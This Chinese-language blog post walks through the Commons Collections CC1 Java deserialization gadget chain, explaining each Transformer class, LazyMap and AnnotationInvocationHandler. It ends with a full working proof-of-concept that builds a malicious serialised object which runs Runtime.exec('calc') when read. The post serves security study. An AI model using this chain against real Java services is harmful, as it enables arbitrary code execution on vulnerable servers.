Java反序化-cc1

简介: Java反序化-cc1
@[TOC](CC1链分析)

利用类分析

Transformer

Transformer 是一个接口,提供了一个transform()方法。官方的注释是 将对象(保持不变)转换为某个输出对象

image.png

TransformedMap

TransformedMap 类,用来处理一个Map类,对该类进行添加和修改。 当TransformedMap 处理key 和value时,会调用 transform() 方法来对 key 和 value 进行处理

image.png

可以看当调用 put() 方法添加key 和 value 时会先调用transformKey() transformValue()方法来对 key value 来进行处理

image.png

image.png

之后看一下这两个方法,发现里面都有调用到 transform() 方法

这里的keyTransformer 和 valueTransformer 相当于修改器,用来修改 key 和 value ,具体修改的的方法要根据keyTransformer 和 valueTransformer 的 transform()方法来决定。

ConstantTransformer

这个类实现了Transofmer,作用是在实例化的时候接收一个参数,在调用 transform() 方法时返回这个参数

image.png

InvokerTransformer

这个类同样实现了Transofmer。 在调用 transform() 方法时通过反射调用参数的类的某个方法,可达到一个代码执行的效果 他在实例化时传入的三个参数分别是 要执行的方法、方法参数的类型、方法的参数

image.png

image.png

ChainedTransformer

这个类也实现了Transofmer,ChainedTransformer的 transform() 方法就比较特殊了。首先,ChainedTransformer在实例化的时候会获取一个数组,之后调用 transform() 方法的时候数组中所有的类都会调用它们的 transform() 方法 并且transform() 方法返回的值会作为下一个 transform() 方法的参数使用,以此重复

这里借用一下P神的图

image.png


Poc构造

Transformer数组构造

看一下已经构造好的数组 这个数组中有两个实例化的类,分别是ConstantTransformer 和 InvokerTransformer。


public static void main(String[] args) {
   Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.getRuntime()),
    new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}),
  };
}

将这个数组作为参数传递给ChainedTransformer 类 上文在对ChainedTransformer 介绍时说了,ChainedTransformer 会在调用transform() 方法时把数组中所有类的transform() 方法都调用一点 ,并且把返回的结果作为下一个transform() 方法的参数使用 这里我们在把数组传递给ChainedTransformer 之后调用了transform() 方法


public static void main(String[] args) {
   Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.getRuntime()),
    new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}),
  };
  Transformer transformerChain = new ChainedTransformer(transformers);
  transformerChain.transform("asdf");
}

在调用transform() 方法那行打断点,调试一下,看看程序是怎么运行的 在进入到ChainedTransformer#transform() 方法之后会遍历数组,首先遍历到的是 ConstantTransformer。

image.png调用ConstantTransformer#transform() 上文介绍ConstantTransformer 时说过,ConstantTransformer#transform()会返回实例化时接收的参数,在实例化的时候我们接收的参数时 Runtime.getRuntime() 所以这里返回的值就是Runtime 类

image.png 在调用完ConstantTransformer#transform() 之后开始下一次的循环 这次循环调用的是InvokerTransformer#transform()

image.pngInvokerTransformer#transform() 参数用的是ConstantTransformer#transform() 返回的结果 Runtime 这里先是判断input 是否为空,然后使用getMethod() 获取Runtime中的exec() 方法 之后通过invoke() 调用exec方法,参数是"calc"

image.png执行完毕

image.png

LazyMap

LazyMap的作用大概就是,当 map 对象要获取 key 时,会判断 map 对象中有没有这个key,如果没有的话,就会创建这个key ,并给这个key 添加值,之后再把这个key 添加到 map对象中 看具体代码


public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

调用get() 时,会先判断map 中有没有这个key 如果没有则创建这个key 并调用 factory.transform() 给key 添加一个值,之后调用put() 将这个key 添加至map对象中。

Java动态代理

上面我们讲述了一下触发点,接下来我们来看一下如何才能调用到这个点来代码执行 在ysoserial中是通过sun.reflect.annotation.AnnotationInvocationHandler 这个类中的readObject来调用的 这个类实现了 InvocationHandler 接口,也就是说,当这个类在作为动态代理使用时,被代理对象执行方法时会先去调用 动态代理中的 invoke方法 这里我们看一下 sun.reflect.annotation.AnnotationInvocationHandler#invoke()的代码


public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            switch (var4) {
                case "toString":
                    return this.toStringImpl();
                case "hashCode":
                    return this.hashCodeImpl();
                case "annotationType":
                    return this.type;
                default:
                    Object var6 = this.memberValues.get(var4);
                    if (var6 == null) {
                        throw new IncompleteAnnotationException(this.type, var4);
                    } else if (var6 instanceof ExceptionProxy) {
                        throw ((ExceptionProxy)var6).generateException();
                    } else {
                        if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                            var6 = this.cloneArray(var6);
                        }
                        return var6;
                    }
            }
        }
    }

这里我们得出一条利用链 通过某个类重写后的readObject() 方法调用 map的任意方法,之后就会调用到动态代理的 invoke() 方法,在invoke()方法中调用到了get() 方法加载key,要是key不在map 对象中,则会调用到transform()方法。


new xxx.readObject()
  new LazyMap().xxx()
    new AnnotationInvocationHandler().invoke()
      new LazyMap().get()
        new ChainedTransformer.transform()
          new ConstantTransformer().transform()
            new InvokerTransformer().transform()

接着我们再看一下 sun.reflect.annotation.AnnotationInvocationHandler#readObject() 调用到了 Map接口中的 entrySet()方法,那么这里就可以作为我们的入口点去触发代码执行。


private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;
        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }
        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();
        while(var4.hasNext()) {
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }
    }

完整攻击链


public static void main(String[] args) throws Exception{
        //构造恶意数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}),
        };
        //获取恶意数组
        Transformer transformerChain = new ChainedTransformer(transformers);
        //将恶意方法作为修饰元素的方法
        Map lazyMap = LazyMap.decorate(new HashMap(),transformerChain);
        //反射获取并实例化动态代理
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler LazyMap_handler = (InvocationHandler) constructor.newInstance(Retention.class,lazyMap);
        //代理 lazyMap的接口,使用 LazyMap_handler代理
        //proxyMap在调用到 Map接口中的任意方法之后将会执行 LazyMap_handler的 invoke()方法
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),lazyMap.getClass().getInterfaces(),LazyMap_handler);
        //将 proxyMap带入到 sun.reflect.annotation.AnnotationInvocationHandler类中,去调用 entrySet()方法
        Object  handler = constructor.newInstance(Retention.class,proxyMap);
        //反序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("LazyMap_CC1"));
        oos.writeObject(handler);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("LazyMap_CC1"));
        ois.readObject();
    }
目录
相关文章
|
Java
Java反序列化-CC2分析
Java反序列化-CC2分析
66 0
|
安全 Java 中间件
java代码审计之CC1链(一)
前言 Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发。 commons-collections组件反序列化漏洞的反射链也称为CC链,自从apache commons-collections组件爆出第一个java反序列化漏洞后,就像打开了java安全的新世界大门一样,之后很多java中间件相继都爆出反序列化漏洞。本文分析java反序列化CC1链。
186 0
|
关系型数据库 MySQL Java
|
Java Android开发
【Android 逆向】ART 脱壳 ( InMemoryDexClassLoader 脱壳 | DexFile.java 对应的 dalvik_system_DexFile.cc 本地函数分析 )
【Android 逆向】ART 脱壳 ( InMemoryDexClassLoader 脱壳 | DexFile.java 对应的 dalvik_system_DexFile.cc 本地函数分析 )
154 0
|
8天前
|
安全 Java API
java如何请求接口然后终止某个线程
通过本文的介绍,您应该能够理解如何在Java中请求接口并根据返回结果终止某个线程。合理使用标志位或 `interrupt`方法可以确保线程的安全终止,而处理好网络请求中的各种异常情况,可以提高程序的稳定性和可靠性。
38 6
|
23天前
|
设计模式 Java 开发者
Java多线程编程的陷阱与解决方案####
本文深入探讨了Java多线程编程中常见的问题及其解决策略。通过分析竞态条件、死锁、活锁等典型场景,并结合代码示例和实用技巧,帮助开发者有效避免这些陷阱,提升并发程序的稳定性和性能。 ####
|
21天前
|
存储 监控 小程序
Java中的线程池优化实践####
本文深入探讨了Java中线程池的工作原理,分析了常见的线程池类型及其适用场景,并通过实际案例展示了如何根据应用需求进行线程池的优化配置。文章首先介绍了线程池的基本概念和核心参数,随后详细阐述了几种常见的线程池实现(如FixedThreadPool、CachedThreadPool、ScheduledThreadPool等)的特点及使用场景。接着,通过一个电商系统订单处理的实际案例,分析了线程池参数设置不当导致的性能问题,并提出了相应的优化策略。最终,总结了线程池优化的最佳实践,旨在帮助开发者更好地利用Java线程池提升应用性能和稳定性。 ####
|
23天前
|
缓存 Java 开发者
Java多线程编程的陷阱与最佳实践####
本文深入探讨了Java多线程编程中常见的陷阱,如竞态条件、死锁和内存一致性错误,并提供了实用的避免策略。通过分析典型错误案例,本文旨在帮助开发者更好地理解和掌握多线程环境下的编程技巧,从而提升并发程序的稳定性和性能。 ####